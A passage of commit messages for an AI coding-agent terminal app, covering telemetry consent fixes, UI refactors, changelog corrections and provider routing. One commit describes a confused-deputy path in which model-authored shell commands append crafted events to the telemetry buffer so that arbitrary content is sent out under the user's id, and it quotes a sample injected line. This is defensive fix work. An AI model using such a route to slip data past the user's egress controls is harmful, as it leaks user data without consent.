buffer was "permanently undrainable". An adversary disproved both in three
commands: opt out, then launch once more, and `buffer::arm` — which every
armed run calls — removed the tombstone and minted a fresh install id. Worse,
the recipe the docs offered as the one-run off switch,
`CODEWHALE_TELEMETRY=0 codewhale`, took the destructive branch, so a consenting
user lost their identity and their own dry-run records every time an agent
harness set that variable for a single command.
The resolver fix underneath this (8d1074f7a) makes the config file the only
register that revokes consent, so both halves follow: a run-scoped kill switch
is `ForcedOff` and touches nothing, and a persisted `telemetry = false` is
re-read on every subsequent launch, which re-asserts the tombstone rather than
relying on it never being cleared. The tombstone is now durable in the way a
file on disk can actually be durable — for exactly as long as the statement
that produced it stands — and the docs say that instead of "permanent".
The "Turning it off" section is rewritten to name the two switches separately:
the config file opts out and erases, the environment variable and the flag stop
the run and erase nothing. That difference is now load-bearing, so it is stated
first rather than left for a reader to infer from one parenthetical.
`codewhale thread resume <id>` and `codewhale thread fork <id>` took a bare
`Command::new(tui).args(args).status()`. It forwarded no arguments and set no
environment — not `--config`, not `CODEWHALE_TELEMETRY` — so the child
re-resolved from `$CODEWHALE_HOME/config.toml` with default overrides and armed.
Reproduced under a PTY on a sealed home: `codewhale --telemetry false thread
resume nope` and `codewhale --config off.toml thread resume nope` each collected
a full session, while the same run through the root TUI path created no
telemetry directory at all. The dispatcher's floor was real and never reached
the process that emits, and `codewhale-tui` has no `--telemetry` flag of its own
to fall back on.
Both now delegate exactly like the top-level `resume` does, through
`build_tui_command`. The bypass is deleted rather than taught: the defect was
not a wrong argument list, it was a *second* way to start the TUI, so the
property worth keeping is that there is one. `only_one_function_may_locate_and_
spawn_the_tui` fails the build if a third appears.
`build_tui_command` also now states `CODEWHALE_TELEMETRY_FLOOR` on every
delegated run. The forwarded `CODEWHALE_TELEMETRY=false` is ambiguous by
construction — it is both the shipped default and a declared kill switch — and
the first-run notice needs the difference.
Rail unification moved footer rendering to `tui::underwater::render_footer`
(ui.rs:14074 and widgets/mod.rs are its only call sites). Everything the old
path was made of has had no production caller since; `cargo clippy
-p codewhale-tui --all-targets` reported ~60 dead_code warnings across it,
and with -Dwarnings that is a hard CI failure.
This is a deliberate deletion of a half-migrated surface, not a cleanup of
scaffolding nobody wanted. Naming what went so it can be rebuilt on purpose:
widgets/footer.rs (whole module, 1650 lines)
FooterProps, FooterToast, FooterWidget + its Renderable impl,
footer_working_strip_glyph_at/_string, footer_working_label,
footer_shell_label_chip, footer_agents_chip, footer_worked_chip,
footer_mcp_chip, footer_permission_chip, mode_style, retry_banner_spans,
WAVE_GLYPHS and the span width/truncate helpers.
(The file itself was removed in 8d1074f7a, which picked up the staged
deletion; this commit removes `mod footer;` and the re-export that still
pointed at it, so the tree builds again.)
footer_ui.rs (1369 -> 160 lines)
render_footer, render_footer_from, stall_reason, provider_wait_reason,
header_owns_live_pulse, footer_working_strip_active,
footer_working_label_frame, active_subagent_status_label,
ActiveToolStatusSnapshot + active_tool_status_label +
collect_active_tool_status, and the footer_*_spans family
(git_branch, goal, shell, prefix_stability, context_percent, cost,
balance, session_tokens, cache, reasoning_replay, auxiliary,
status_line), footer_state_label, active_foreground_shell_label,
should_show_footer_cost (which was already carrying an
`#[allow(dead_code)]` — #4785 burndown).
ui/activity_detail.rs
selected_detail_footer_label + activity_footer_target_cell_index, and
the activity_target_cell_index / current_activity_cell_index /
is_meaningful_activity_cell / activity_cell_rank chain that only they
reached. `pub(crate) use` of the label in ui.rs removed with them.
Kept, because production still calls them: provider_wait_idle_secs and
maybe_log_provider_wait_incident (ui.rs:5304), is_noisy_subagent_progress
and friendly_subagent_progress (ui.rs:95), one_line_summary
(activity_detail.rs), active_goal_chip_state and
format_token_count_compact (underwater.rs).
Tests: 40 tests that only exercised the deleted path are removed with it
(37 in ui/tests.rs, 3 activity-footer-hint tests, plus footer_ui's own
module trimmed to the one_line_summary case). Two cost-truth tests in
app/tests.rs were *rewritten* rather than dropped — they asserted through
footer_cost_spans but were really testing `App::cumulative_usage_chip` and
`route_billing::format_usage_chip`, so they now call those directly and
keep #4797's coverage.
No behavior change: every deleted item was unreachable from `main`, which
is what dead_code proves.
CI sets RUSTFLAGS=-Dwarnings, so every one of these fails the macOS,
Windows and mobile-smoke legs of `cargo test --workspace --all-features`.
Ubuntu is not evidence: ci.yml gates its test step on
`matrix.os != 'ubuntu-latest'`, so that leg never compiles the bin.
- settings.rs: collapse the `sidebar_focus` migration's nested `if` into a
match guard (clippy::collapsible_match). Behavior is identical — a failed
guard falls through to the existing `_ => {}` no-op arm, which is exactly
what the nested `if` did.
- native_memory.rs: pass the already-borrowed `&str` query through instead
of re-borrowing (clippy::needless_borrow, x2), and drop `mut` from the
read-lock binding — `fd_lock::RwLock::read` takes `&self` on unix,
windows and unsupported alike (fd-lock 4.0.4 src/rw_lock.rs:55).
- sidebar.rs: drop `AppMode`, `Terminal` and `backend::TestBackend` from the
test module's imports; nothing in it references them.
Two adversary findings against the shipped telemetry build, both about the
same confusion: the resolver had one flag for "a human said no" and used it
for two jobs it cannot do at once.
`--telemetry true` beat `telemetry = false` in the config file, and the
dispatcher then forwarded the resolved `true` as `CODEWHALE_TELEMETRY=true`,
which outranked the child's own copy of that same file. The first-run notice
and docs/TELEMETRY.md both advertise `codewhale config set telemetry false` as
the *permanent* off switch; any wrapper script, alias, or agent harness passing
the flag re-enabled a user who had used it. The persisted value is now a floor,
like the environment one. Re-enabling is writing the same durable register the
off was written in.
`telemetry_explicit_off` — the flag that authorizes the destructive opt-out
wipe — was set by `--telemetry false` and `CODEWHALE_TELEMETRY=0` as well. So
the recipe docs/AGENT_RUNTIME.md prescribes for a single command deleted a
consenting user's install id and truncated their own dry-run records, every
time. It now means only "the config file says false", which is the one signal
that is durable, is the user's own, and is re-asserted on the next run.
That narrowing exposes a distinction the child process could not draw for
itself: the dispatcher forwards a resolved `CODEWHALE_TELEMETRY=false` on every
ordinary run, so a declared operator kill switch and the shipped default arrive
identically. `CODEWHALE_TELEMETRY_FLOOR` is the dispatcher stating which one it
is, and `telemetry_floor_in_force()` reads the statement where it exists and the
raw environment where it does not. The first-run notice is the caller that
needs it.
The changelog said "Updated Ratatui to 0.30.2". That is exactly backwards: the
candidate PINS 0.30.0 and ratatui-core 0.1.0, which is @bistack's fix in
PR #5192, because ratatui-core 0.1.1+ makes Terminal::clear() issue a blocking
cursor-position report that races the input loop. Shipping a changelog that
claims the version we deliberately backed away from would have been a lie in
the most-read file in the repo.
Also records the fixes landed on release night that had no entry: the tokio
worker-stack abort on sub-agent dispatch, the fleet provider-pin route leak,
the Pinned-panel empty state and the settings migration that caused it, the
rail row yield, the code_execution/js_execution sandbox honesty fix, the Model
Studio host guard, and the Shift+Tab/Ctrl+T correction — each crediting its
contributor where one exists.
Receipts: ./scripts/sync-changelog.sh exit=0;
./scripts/release/check-versions.sh -> "Version state OK: workspace=0.9.4,
npm=0.9.4, lockfile in sync." exit=0
The rail spent four rows saying "No active work". That is density without
meaning, and it takes those rows from the transcript.
The old rule justified itself with "the user asked for the panel, so an empty
panel collapses to a hint line, not a vanished rail". That premise was false
for essentially everyone: the settings migration folded the default
`sidebar_focus = "auto"` into `rail_panel = "pinned"` and persisted it, so any
user with a settings.toml was handed this panel without ever choosing it —
and the value stays in their file even after the migration was fixed.
Tasks has always collapsed to zero rows on an empty projection. Pinned now
does the same, using the `has_useful_content` predicate the work summary
already exposed and nothing consulted. The panel reappears the instant there
is a goal, a checklist, or live state.
Test fallout is itself the argument: `idle_rail_app` could not be given
content to keep the old assertions alive, because everything that gives the
Pinned panel something to say — a hunt, todos, a running turn — also ends the
idle empty state that draws the whale. "Idle app showing a populated Pinned
strip" was never a reachable state. The two row-budget tests moved to the
Agents panel, which genuinely is always-on while idle, and the placement test
gained real content since it is about placement rather than emptiness.
Receipts: cargo test -p codewhale-tui --bin codewhale-tui work_surface
-> 69 passed; 0 failed
cargo test -p codewhale-tui --bin codewhale-tui rail_strip -> 3 passed; 0 failed
`batch_contains_no_planted_sentinel` plants five sentinels through real
inputs and proves none reaches a batch, but every one of them travels an
in-process path. It says nothing about the one input that is not in-process:
the buffer file itself.
This test appends to `buffer.jsonl` the way any other process running as the
user would — after the session has armed, because `init` truncates the buffer
and a pre-arming plant proves nothing — and asserts the loopback recorder
never sees the sentinel. Three slots are exercised, one per string a drained
event can carry: `panic.site`, `install_or_upgrade.previous_version`, and
`session_end.providers`.
Every string bound in the wire schema was a property of how this process
*builds* an event — closed enums, u32s, `ProviderKind::as_str()`,
`reduce_panic_site`. None of it survived the round trip. `flush` re-reads
`buffer.jsonl` and hands the lines to serde, which fills `site`,
`previous_version`, and `providers` with whatever string the file holds, and
`parse_events` pushed the result straight into a `Batch`.
`$CODEWHALE_HOME` is a predictable path and this product executes
model-authored shell commands, so the realistic writer is not an intruder: it
is a `Bash` tool call the session made on the model's behalf, an MCP server,
or a hook. Against a configured endpoint that made telemetry a confused
deputy — arbitrary content POSTed under the user's install id, past every
egress control the user has on the provider route. Proven end to end before
this commit: an appended `{"event":"panic","site":"…/Users/victim/…"}` came
back out of the recorder verbatim.
`Event::is_bounded` re-establishes each field's declared rule at the drain,
and out-of-bounds events are dropped rather than sanitized — a payload the
schema cannot account for is not made safe by editing it. The provider bound
checks the full provider registry rather than `ProviderKind::ALL`, which is
the 36-row catalog subset and would have dropped real `deepseek-anthropic`
and Model Studio routes.
Two adjacent holes closed with it: `install_id` was the one envelope field
read verbatim off disk, so `install_id.json` was a free-form string slot on
the wire — it now has to parse as a UUID or a fresh one is minted; and the
panic-site charset had two copies, so `reduce_panic_site` is now defined as
"the candidate if the checker accepts it" and cannot drift from the rule the
drain enforces.
The unit tests stop re-implementing the rules they check and import the
shipped predicates instead. A test that owns its own copy of the rule passes
against a binary that enforces nothing, which is exactly how this got here.
Several lanes landed CHANGELOG entries in parallel tonight (GLM-5.3, telemetry,
the Model Studio harvest, the keybinding correction), which drifted the derived
crates/tui/CHANGELOG.md out of sync with the root file and failed the Version
drift gate.
Receipt: ./scripts/sync-changelog.sh -> 3168 lines, 15 sections kept;
./scripts/release/check-versions.sh -> "Version state OK: workspace=0.9.4,
npm=0.9.4, lockfile in sync." exit=0
The notice is the first thing an interactive launch shows, before the terminal
enters raw mode, so every PTY scenario that boots a fresh home now has to pass
through it. Two changes:
- The returning-user fixture records an answered notice. Without it the notice
is owed and blocks on stdin, which would quietly turn a missing-key-recovery
test into a test about the notice.
- The onboarding walk presses Enter at the notice, which takes the
pre-selected "No thanks". That is the behavior worth pinning: a user who
presses Enter through onboarding never enables telemetry.
Receipt: covered by the full bin suite run on this branch.
`html[lang="zh"] h1/h2/h3` relaxed `overflow-wrap: anywhere` so Chinese
headings stop stranding punctuation on a line of its own. ja needs exactly the
same rule and never had it — capping the ocean headings made it visible, with
`コマンド 1 つで始める。` breaking between `1` and `つ`. ko wants it too: it has
real word boundaries and should break on them rather than anywhere.
Extended rather than duplicated, per the rule that CJK overrides are extended
and never routed around.
Verified by eye at /ja and /ko, 1440px and 390px; no horizontal page scroll in
en/zh/ja/ko at 390px. npm test (235), lint, check:locales, check:docs.
The TUI's ambient life — fish, jellyfish, bubbles, the whale cameo — stays out
of scope. Two orders of magnitude separate web-native "ocean motion" from what
this product has ever shipped, and this page quotes the product's restraint
doctrine in its own copy. The whole site now has four keyframes; these are two
of them.
M1, the column breath: one overlay on `.ocean-column` animating OPACITY ONLY
between 0 and 0.045 on a 90s cycle — the TUI's authored 0.018–0.055 phase bias
as the same fraction of a mix. Opacity is the only property that cannot cause
layout work on an element four bands tall. No position change, no hue shift,
no filter.
M2, the caustic: ~1.3s of ice light crossing the footer whale, parked
off-canvas for the remaining ~2.7s, peak 0.33, sine-in-out — `ambient_life.rs`
at its literal amplitude and cadence. One whale only; two caustics is chrome.
It is clipped to the mark, so it lands on the whale and never on a rectangle
of footer behind it, and `Whale` takes it as an opt-in prop.
The clip sits on a static <g> with the highlight moving inside it. Clipping the
moving rect instead slides the whale-shaped window along with the light, which
is a very quiet way to render nothing at all — caught by screenshotting a
frozen frame rather than by reading the markup.
Both effects are gated behind `prefers-reduced-motion: no-preference` rather
than overridden under `reduce`: an override can be defeated by specificity, a
gate cannot. Verified under emulated `reduce` — the breath overlay does not
exist, the caustic has no animation and stays parked, and the column's field
is still there. Reduced motion freezes the field; it never removes it.
No new strings. Verified: npx tsc --noEmit, npm test (235), npm run lint,
by eye at /en 1440px including a frozen mid-sweep frame.
The facts line was four facts joined by hand — literal `·` spans, a `{" "}`,
and a `: ` welded between the source state and the provider count. Every
locale inherited that English punctuation whether or not it wanted it.
It is now a `.dotline`: a lowercase `cw` chip, then `latestRelease ·
currentSource|sourceCandidate v{n} · providerRoutes · license`, each fact its
own translated unit with CSS emitting the separators. Nothing is concatenated
around a token any more. `cw` is the binary's own name — code-owned, like
`Codewhale`.
The `source-candidate` wording, both `data-source-state` attributes and the
`fill(d.providerRoutes, …)` call are untouched; they are contract-tested.
Also: the separator moved from `::before` on the following item to `::after`
on the preceding one, so a wrapped chain ends a line with `·` (continuation)
instead of starting one with it (bullet list). The `!important` on the status
line's font-size stays and now says why it exists — the same <p> matches
`.product-hero-copy > p`, which sets the lede clamp at higher specificity.
No new strings. Verified: npx tsc --noEmit, node scripts/check-locales.mjs,
npm test (235), by eye at /en 1440px.
The unit tests in codewhale-telemetry prove the emit predicate. Nothing yet
proved that the process which would actually send consults it — which is
exactly the bug v1 of this design shipped, because resolve_runtime_options had
no non-test caller, so neither `telemetry = false` in the config file nor
CODEWHALE_TELEMETRY=0 was ever read by an emitting process.
crates/tui/tests/telemetry_contract.rs drives the real codewhale-tui binary in
a sealed HOME/CODEWHALE_HOME against a loopback recorder that keeps the batch
body (the diagnostic harness this copies drops it, and a telemetry contract
that cannot read what was sent can only assert "something happened"):
- config_file_only_opt_out_sends_zero_requests, with no env var set at all,
is the only test that proves the config-file half of the switch is read;
- telemetry_disabled_by_env / an_unparseable_telemetry_env_value pin the
floor and the fail-closed direction;
- telemetry_enabled_without_notice and a_stale_notice_version pin the notice
record as an independent AND condition — a pre-existing `telemetry = true`
is not consent;
- disabling_after_buffering wipes: tombstone present, data truncated, lock
file intact, identity gone;
- forced_off_run_preserves_a_consenting_users_state pins the other side, the
one a wipe keyed on "resolved false" would destroy;
- mid_session_opt_out_stops_the_shutdown_flush writes the opt-out from a
second process while a scripted session is live;
- ctrl_c_exits_while_a_second_process_holds_the_lock takes the compaction
lock from the test and asserts SIGINT still exits 130 in under a second,
which is why appends never take that lock;
- batch_contains_no_planted_sentinel plants five sentinel classes through
real inputs — the prompt, a workspace filename, a custom [providers.<name>]
table key, an MCP server name, and the API key — and asserts none reach a
batch, with the key held to the stricter "absent from every written file"
standard the verifiers harness uses.
enabled_and_accepted_posts_exactly_one_batch is not optional: without it every
zero-request assertion above would also pass against a client that never sends
anything.
crates/cli/tests/telemetry_kill_switch_dispatch.rs runs the real dispatcher
against a fake sibling TUI that dumps its environment, so
env_off_beats_cli_on_end_to_end asserts on the child process's actual
environment — with a positive control proving `--telemetry true` reaches the
child at all.
fleet_worker_env_carries_telemetry_off spawns a real worker through
LocalProcessFleetHostAdapter and reads what the worker received, rather than
only asserting about the map-building function.
Renames so the compliance table reads literally:
arming_truncates_a_pre_consent_buffer and
canceled_run_reports_exit_class_error_not_signal, the latter strengthened to
pin that an unarmed process reports Clean rather than inventing a class from
an exit code.
`.product-install-band` was `--indigo-deep` full-bleed — a third register in
neither system, and the last thing on the page that looked like a generic
marketing CTA.
It is now the composer. `--stage-composer #162238`, opaque over the column
because the composer is a *raised* plate in the product, bracketed above by
Signal Gold and below by Operate violet at 40%: the TUI's exact framing, and
the one place gold is legitimate on this page, because what it brackets is the
point of human intent. `❯` sits inside the plate in `--action-on-dark`.
Also lands `.dotline`, the ` · ` chain grammar the product's voice is actually
carried by — the TUI's header, empty state and footer all speak in it. The
separator is punctuation emitted by CSS, so it is never copy, never
translated, and never concatenated around a token. No uppercase and no wide
tracking, because the TUI header has neither and both are what break Han.
zh/ja/ko drop the tracking entirely.
The package-manager line was already a dot chain in every locale; its
separators just stop being characters in the markup. `❯`, `Cargo`, `Docker`,
`Nix`, `Windows` and `Android / Termux` stay code-owned literals, in the same
class as `npm install -g codewhale`.
Zero new strings — the optional ghost-placeholder key did not earn itself
against a heading that already says "Start with one command", so
docs/LOCALIZATION.md is untouched and no locale status moved.
Fixes in passing: the copy control inherited the band's ivory text colour and
rendered invisible on its own light chip (it inherited `#fff` before, so this
was already broken).
Verified: npx tsc --noEmit, node scripts/check-locales.mjs, npm test (235),
by eye at /en and /zh, 1440px.
The sheet was asking for warmth and the answer was not to raise the page to
ivory. `#FFFDF8` is Blue Stage Light's LIGHT_PANEL — cwc's `--surface`, the
product's *card* value. Its own light capture is ivory cards on a blue-grey
page, so the page stays `--paper #f4f7fb` and the warmth lands where the
product actually puts it.
- `--paper-card: #fffdf8` is the only new token in this pass, mapped to
`--stage-elevated #182742` in BOTH docs-dark blocks (the
prefers-color-scheme one and the explicit `[data-theme="dark"]` one —
missing one of the two is the classic bug in this file).
- Both raw `#fff` fills die. `.product-proof` takes the ivory card value
because it is one raised editorial pull-quote; `.product-boundaries` takes
the cool page, because the cards inside it need a page to sit on.
- `.product-workflow-steps` and `.product-boundary-list` become hairline-
ruled ivory cards, 6px radius, no shadow. Paper stays flat; the hairline
stays sharp because the surface under it is.
- The ≤760px `li:nth-child(3)` rule that zeroed a shared left border goes
with the shared borders it was compensating for.
No new user-visible strings. Verified: npx tsc --noEmit,
node scripts/check-locales.mjs, npm test (235), by eye at /en 1440px.
The band sequence read paper · paper · white · paper · OCEAN · paper ·
white · OCEAN · INDIGO · paper · OCEAN — five register changes and two raw
`#fff` fills that bypassed the token system. Ocean meant nothing because it
happened five times.
Now the page dives exactly once, between Boundaries and Surfaces, and never
comes back up. Paper is the editorial voice about the machine; ocean is the
machine speaking in its own voice, and the transition lands where the page
stops describing and starts handing over.
- Workflow flips to paper. It is four numbered editorial steps; making the
whole band ocean is what stopped the receipt inside it reading as evidence.
The receipt stays an ocean plate on paper, now opaque on the light sheet.
- `.ocean-column` wraps Surfaces, Install and Community and carries the whole
field: one linear-gradient with the TUI's authored 42% break, plus one
--stage-ambient wash. It replaces two per-section radials and the Signal
Gold spray behind Community — gold as decoration is exactly what
`tokens.rs` legislates against. Bands inside carry no field of their own,
so no widget restarts its own gradient.
- The column's deep stop is the footer's existing --ocean-deep, so the
seabed continues without a seam and `.site-footer` is untouched.
- No rule at the waterline: `.product-boundaries` loses its border-bottom.
A hairline there is an editorial rule trespassing into water.
- Ocean h2 caps at clamp(1.6rem, 2.6vw, 2.4rem). Below the waterline
hierarchy comes the TUI way — colour weight, not scale. zh/ja/ko get
letter-spacing 0 and line-height 1.5, extending the existing zh overrides
rather than routing around them.
- Stage tokens land in :root verbatim from crates/tui/src/palette/tokens.rs,
and the three ad-hoc action-blue hairline alphas collapse to --stage-line.
- The seal inverts below the waterline: ivory on deep, so it reads as the
last editorial device before the seabed rather than a hole in the water.
No new user-visible strings, so no dictionary or locale-status change. Checked
by eye at /en and /zh, 1440px, plus the Han headings inside the column.
Verified: npx tsc --noEmit, node scripts/check-locales.mjs, npm test (235).
Reproduced tonight on Alibaba Model Studio: with
CODEWHALE_PROVIDER=modelstudio-token-plan the parent turn ran fine on
qwen3.8-max, but the first `agent` scout died instantly on a denial for
model `deepseek-v4-flash`.
Mechanism (NOT the catalog, and not operator_model_for_subagent):
`FleetRoster::model_overrides()` exported every member's `model` pin,
including members that also pin a `provider`. The engine folds that map
into `SubAgentRuntime::role_models`, and `configured_model_for_role_or_type`
applies it against the SESSION provider's client — the map is provider-less
by construction. So the personal profile
~/.codewhale/agents/scout.toml
provider = "deepseek"
model = "deepseek-v4-flash"
contributed `scout -> deepseek-v4-flash` with the one thing that made the
id routable (its provider) stripped off. A profile-less `agent` dispatch
typed `scout` then resolved ModelRoute::Fixed("deepseek-v4-flash") on the
Model Studio client. Nothing downstream rejects it: Model Studio is a
pass-through provider in both `config::provider_passes_model_through` and
`root_default_model_is_foreign_to_provider`, so the #5099 known-foreign
downgrade to Inherit does not fire and `validate_route` accepts the id.
The request goes out to DashScope and the plan denies it.
Live-roster evidence (`codewhale-tui models` against the owner's Token
Plan credential): deepseek-v4-flash-0731, deepseek-v4-pro, glm-5.2,
qwen-audio-3.0-tts-plus, qwen3.6-flash, qwen3.7-max, qwen3.7-plus,
qwen3.8-max (active), qwen3.8-max-preview, wan2.7-image,
wan2.7-image-pro. The plan serves `deepseek-v4-flash-0731`; the bare
`deepseek-v4-flash` the profile injected is not on it.
Fix: `model_overrides()` skips members that pin a non-blank provider.
Those profiles keep their full route through the profile spawn path
(`child_provider_binding`), which builds a client for the pinned provider
and carries the model with it. A profile-less type dispatch now falls
through to ModelRoute::Inherit and runs on the parent's active model,
which is the behavior a scout on a Qwen-routed parent should have.
Checked and cleared while confirming: `operator_model_for_subagent`
returns the parent model whenever `validate_route` accepts it, and Model
Studio is pass-through, so the "first catalog row" branch was never
reached here; `catalog_family_candidates` has no Model Studio entry, so
faster/auto also inherit. The bundled catalogs are not the source of this
id.
Gates: cargo test -p codewhale-tui --bin codewhale-tui subagent -> 571
passed, exit 0. roster:: -> 29 passed, exit 0. cargo fmt clean.
Manual credit surfaces do not auto-populate from trailers. The harvest
commit carries the machine-readable credit; these are the human-readable
ones.
Harvested from PR #5233 (thanks @Inference1)
Co-authored-by: Inference1 <68734681+Inference1@users.noreply.github.com>
Harvest of PR #5233. The local fix (11da42342) landed 34 minutes after
@Inference1 authored, so his patch could not apply; this is his delta by
hand, narrowed where the evidence stops.
Three things his patch had that ours did not:
1. A host guard. We gated on the provider enum alone, so a custom
`base_url` on `modelstudio-token-plan` got Alibaba's `enable_thinking`
injected into an arbitrary gateway. `is_exact_modelstudio_chat_route`
verifies the actual URL shape (`*.maas.aliyuncs.com/compatible-mode/v1`
including workspace-scoped hosts, or `coding-intl.dashscope.aliyuncs.com/v1`);
`apply_modelstudio_route_reasoning_controls` strips thinking /
enable_thinking / preserve_thinking / reasoning_effort unconditionally
and re-adds only on a verified host.
2. `qwen3.8-max` and `qwen3.8-max-preview` are thinking-only, and we were
sending them `enable_thinking: false`. Our own catalog says so:
models_dev.bundled.json marks qwen3.8-max `thinking: always_on` and
gives -preview effort/budget options with no toggle. The assertion at
client.rs:~4307 pinned the defect (`assert_eq!(off["enable_thinking"],
json!(false))`); it now asserts the switch is absent for every effort.
He caught a live bug in our code.
3. `preserve_thinking`, and the documented `high`/`max` ladder for
`deepseek-v4*` and `glm-5`/`5.1`/`5.2`.
The provider-enum writes in `apply_reasoning_effort` are deleted outright
rather than left as a second writer. That also kills a latent bug of ours:
the two `*Anthropic` identities were writing `enable_thinking` with nothing
to strip it — dead today because the Messages adapter owns them, live the
moment a user sets `wire = "openai"`. The shaper now matches all four
`Modelstudio*` variants so the strip covers them, while only the two
OpenAI-dialect ones can pass the host check.
Narrowed from his patch: `reasoning_content` replay is taken only for the
models that also get `preserve_thinking`, plus the thinking-only pair.
`deepseek-v3.1`, `deepseek-v3.2` and `glm-*` stay stripped until someone
with a Model Studio key confirms DashScope does not 400 on
`reasoning_content` in input messages. This removes nothing that exists:
`deepseek-v4*` already replays via `requires_reasoning_content` on both
sides. Stream classification stays as broad as it was — fail-closed is
about what we send, not what we parse, and a gateway emitting
`reasoning_content` is speaking the dialect by definition.
Two claims carried but not verified here:
- `kimi-k2.7-code` as thinking-only + preserve_thinking is asserted by the
PR, not corroborated by our catalog, which lists it under `moonshot`
with `reasoning: true` and no `always_on`. The test says so in a comment.
- `glm-5.2` is treated as hybrid (gets `enable_thinking`), but our catalog
gives it effort options and no `toggle`. If DashScope rejects the switch
there, that arm is wrong.
Dropped from his patch: the two `qwen3-omni-flash` / `qwen3-vl` hybrid arms
(unreachable behind `starts_with("qwen3-")`); his decoder test (our
`modelstudio_streams_reasoning_content_as_thinking` already covers it end to
end); and docs/evidence/modelstudio-reasoning-5203.md plus its screenshots,
which describe the un-narrowed replay behavior — PR #5233 is the provenance.
NOTE ON WHERE THE CODE IS: the crates/tui/src/client.rs and
crates/tui/src/client/chat.rs hunks of this harvest were swept into
68d8d94b1 ("feat(tui): telemetry feature and error counters") by the
concurrent telemetry lane committing the shared tree before this commit
could claim them. That commit is already on origin and is not mine to
rewrite. The trailer lives here; the credit belongs to both commits.
Gate: cargo test -p codewhale-tui --bin codewhale-tui — 9812 passed,
0 failed, 9 ignored, exit 0. Both lanes edited the same two functions.
Harvested from PR #5233 (thanks @Inference1)
Co-authored-by: Inference1 <68734681+Inference1@users.noreply.github.com>
The notice is the whole consent story, so it is one string, owned by the crate
that owns what is collected, rendered identically by the TUI on first
interactive launch and by `codewhale config set telemetry true` on a terminal.
A test welds it to the schema: every field the envelope carries has to be
described, every red line has to be stated as *not collected* rather than as
anonymized or sampled, and both documented ways out have to appear.
The declining answer is pre-selected and Enter takes it. `answer_is_yes`
accepts `y` and `yes` and nothing else, so Enter, EOF, a closed pipe, `n`, and
a typo all decline. Enabling costs a deliberate keystroke; declining costs
none.
Accepting writes both halves — `telemetry = true` and the setup-state decision
— because both are required at emit time and neither alone suffices. That is
what keeps a stale pre-existing `telemetry = true`, a key that has been
settable and inert for a long time, inert. Config is written first and the
decision second; either order fails closed, since a config write without a
decision is off for want of consent and a decision without the config value is
off for want of the switch.
Every path that does not render and answer the notice leaves the decision
unset, and unset means nothing is ever collected, forever, as a supported
outcome:
- `--skip-onboarding` records nothing. It deliberately does not mirror
`defer_update_checkpoint_for_app`, which persists a *completed*
constitution checkpoint without showing the user anything — a telemetry
decision recorded that way would be a decision nobody made.
- a non-TTY stdin or stderr records nothing, so CI, containers, and
`config set` inside a script write the key and leave it inert.
- a failed save records nothing and the notice stays owed, because
collecting on the strength of an answer we could not store is collection
without consent.
DEVIATION: the design specifies a ratatui setup-checkpoint modal beside the
constitution checkpoint. This renders the same copy to stderr before the
terminal enters raw mode instead. The wizard is a single-screen checkpoint with
no step seam to extend, `ui.rs` is being rewritten on another branch right now,
and a half-wired modal would be worse than a plain prompt that is completely
correct about defaults, recording, and the skip paths. The modal is a
follow-up; the consent semantics are not waiting on it.
Gate: cargo test -p codewhale-tui --bin codewhale-tui (9811 passed; one
unrelated pre-existing flake in tools::web::cache, green on re-run),
cargo test -p codewhale-telemetry -p codewhale-cli
Eleven counters and six error counters, every one bumped at a call site and
every one a count of a variant discriminant rather than of a rendered string.
The siting is the substance:
- `turns` is counted at the *caller* of `execute_turn_end_observer_hook`,
not inside it. That function's first statement returns early for anyone
with no TurnEnd hooks, and the natural future optimization hoists the
check up to the caller — which would silently zero the counter for
exactly the users who do not use hooks.
- `tool_calls` and `memory_search` sit at the surface-agnostic dispatch
choke point, so they fire for exec and the CLI and not only the TUI.
- `fleet_dispatch` sits at the single creation funnel, after validation:
`create_run` and `create_queued_run` both land there, so counting at
either would double-count a plain `fleet run`, and a rejected spec is
not a dispatch.
- `workflow_run` keys off the parsed `WorkflowAction` discriminant, never
off `input["action"]`. The JSON Schema published to the model is a
declaration, not a guard: the real parse also accepts spawn, wait, list,
inspect, stop, and abort, and its reject arm embeds the model's string
verbatim.
What is deliberately *not* recorded is the other half. The approval counters
are counts with no matched rule, no reason, no command, no argv — auto-allow
patterns are user-authored command strings. The MCP counter is a count of
connected servers with no name, command, URL, or error; server names routinely
name internal infrastructure. The tool error counters take the match arm, not
the error: `ToolError::PathEscape`'s `Display` *is* an absolute path.
Provider HTTP status is captured from the response at all three request sites,
before any `LlmError` is built, because every variant of that error carries the
raw provider body verbatim and a 400 from a content filter routinely echoes the
prompt. The same call records the provider as a `ProviderKind` by value. That
is the single most likely leak in this feature: the persistence identity, the
exec stream meta, and the planned route's effective label all return the
customer's own `[providers.<name>]` table key when the route is custom, and
`/status` already prints it. `ProviderKind::Custom` yields the literal
`"custom"`, and a test asserts every recorded provider is a member of the
closed set.
Gate: cargo test -p codewhale-tui --bin codewhale-tui (9797 passed)
Also carries the Model Studio route guard harvested from PR #5233
(is_exact_modelstudio_chat_route + apply_modelstudio_route_reasoning_controls),
swept into this commit by a concurrent lane. Credit belongs here.
Harvested from PR #5233 (thanks @Inference1)
Co-authored-by: Inference1 <68734681+Inference1@users.noreply.github.com>
`code_execution` writes the script to a `tempfile::tempdir()` and runs it
with `cmd.arg(&script_path).current_dir(workspace)` — a plain child
process. No seccomp, no jail, no container, no namespace. `js_execution`
is the identical pattern for Node. Both tool descriptions called that "a
local sandboxed runtime".
Tool descriptions are model-facing. A model told it has isolation it does
not have will reason about untrusted code as if the blast radius were
contained, when the actual blast radius is the user's workspace and the
process environment. Describe what the runtime does: run the local
interpreter in the workspace. Both descriptions are now pinned by tests
that assert the honest phrasing and forbid the word "sandbox", so the
claim cannot creep back in.
Same defect in the shipped `delegate` skill: SKILL.md claimed
`type: "explore"` already defaults to `model_strength: "faster"`. It does
not — `parse_subagent_request` does
`explicit_model_strength.unwrap_or(SubAgentModelStrength::Same)`, with no
type-based override anywhere. Children inherit the active model unless
`model_strength` is passed explicitly. That file is `include_str!`'d into
the skill body as `DELEGATE_BODY`, so it is model-facing copy, not
documentation — a model following it would silently pay full-model cost
for every read-only exploration it believed was routed to the cheaper
sibling.
Dropped from the original PR: the `prompts.rs` and `prompts/text.rs`
hunks and the `prompt_tool_contract_copy_matches_runtime_behavior` test.
Commit a98b184f5 deleted `SHELL_POLICY_DISABLED`, `SUGGEST_APPROVAL` and
`AGENT_PROMPT` after the PR was opened, so those hunks now reference
symbols that no longer exist and would be a hard E0425. That is our churn
landing under his feet, not a mistake on his part; the findings those
hunks encoded were correct and the surviving one is fixed here.
Gates: cargo test -p codewhale-tui --bin codewhale-tui tool_catalog (19
